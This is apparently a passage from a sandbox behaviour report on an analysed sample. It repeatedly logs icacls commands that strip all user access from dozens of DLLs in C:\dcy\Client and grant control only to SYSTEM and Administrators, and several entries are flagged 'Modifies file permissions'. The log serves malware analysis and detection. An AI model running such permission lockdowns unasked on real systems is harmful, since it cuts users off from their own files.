        icacls "C:\dcy\Client\System.Net.Http.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:6128
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Net.Http.Json.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2908
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Net.HttpListener.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:6020
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Net.IPNetwork.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        Modifies file permissions
        
        PID:4504
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Net.Mail.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3236
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Net.NameResolution.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2388
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Net.NetworkInformation.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1508
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Net.Ping.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4220
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Net.Primitives.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2264
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Net.Quic.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4284
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Net.Requests.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2260
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Net.Security.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4644
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Net.ServicePoint.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:52
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Net.Sockets.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:120
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Net.WebClient.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5292
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Net.WebHeaderCollection.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:6052
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Net.WebProxy.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4152
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Net.WebSockets.Client.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2564
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Net.WebSockets.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4628
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Numerics.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4184
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Numerics.Vectors.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5672
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.ObjectModel.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4768
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Printing.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5744
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Private.CoreLib.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5032
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Private.DataContractSerialization.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3036
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Private.Uri.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2972
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Private.Xml.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5824
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Private.Xml.Linq.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4940
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Reflection.DispatchProxy.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2516
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Reflection.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3356
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Reflection.Emit.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1432
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Reflection.Emit.ILGeneration.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4168
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Reflection.Emit.Lightweight.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5016
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Reflection.Extensions.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3796
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Reflection.Metadata.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1484
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Reflection.Primitives.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3788
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Reflection.TypeExtensions.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1556
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Resources.Extensions.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2788
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Resources.Reader.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2740
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Resources.ResourceManager.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5972
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Resources.Writer.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2720
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Runtime.CompilerServices.Unsafe.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5060
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Runtime.CompilerServices.VisualC.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2552
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Runtime.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3648
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Runtime.Extensions.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5140
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Runtime.Handles.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2168
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Runtime.InteropServices.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1364
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Runtime.InteropServices.JavaScript.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:748
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Runtime.InteropServices.RuntimeInformation.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1764
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Runtime.Intrinsics.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5560
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Runtime.Loader.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2804
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Runtime.Numerics.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1632
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Runtime.Serialization.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5464
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Runtime.Serialization.Formatters.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4968
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Runtime.Serialization.Json.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:6132
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Runtime.Serialization.Primitives.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3944
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Runtime.Serialization.Xml.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4260
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Security.AccessControl.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1736
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Security.Claims.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3964
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Security.Cryptography.Algorithms.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5516
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Security.Cryptography.Cng.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2828
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Security.Cryptography.Csp.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2248
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Security.Cryptography.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:968
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Security.Cryptography.Encoding.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        Modifies file permissions
        
        PID:2916
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Security.Cryptography.OpenSsl.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1172
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Security.Cryptography.Pkcs.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2220
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Security.Cryptography.Primitives.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4180
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Security.Cryptography.ProtectedData.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1140
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Security.Cryptography.X509Certificates.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3732
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Security.Cryptography.Xml.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3428
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Security.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        Modifies file permissions
        
        PID:4176
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Security.Permissions.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1616
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Security.Principal.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4884
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Security.Principal.Windows.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:6048
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Security.SecureString.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3360
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.ServiceModel.Web.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3440
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.ServiceProcess.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2228
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.ServiceProcess.ServiceController.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5844
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Text.Encoding.CodePages.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5368
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Text.Encoding.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4588
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Text.Encoding.Extensions.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2908
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Text.Encodings.Web.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3332
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Text.Json.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        Modifies file permissions
        
        PID:1464
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Text.RegularExpressions.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:6020
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Threading.AccessControl.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1652
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Threading.Channels.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5484
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Threading.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4504
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Threading.Overlapped.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5888
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Threading.RateLimiting.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5964
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Threading.Tasks.Dataflow.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4912
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Threading.Tasks.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        Modifies file permissions
        
        PID:4736
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Threading.Tasks.Extensions.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:880
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Threading.Tasks.Parallel.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2512
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Threading.Thread.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4564
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Threading.ThreadPool.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4316
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Threading.Timer.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        Modifies file permissions
        
        PID:244
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\System.Transactions.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
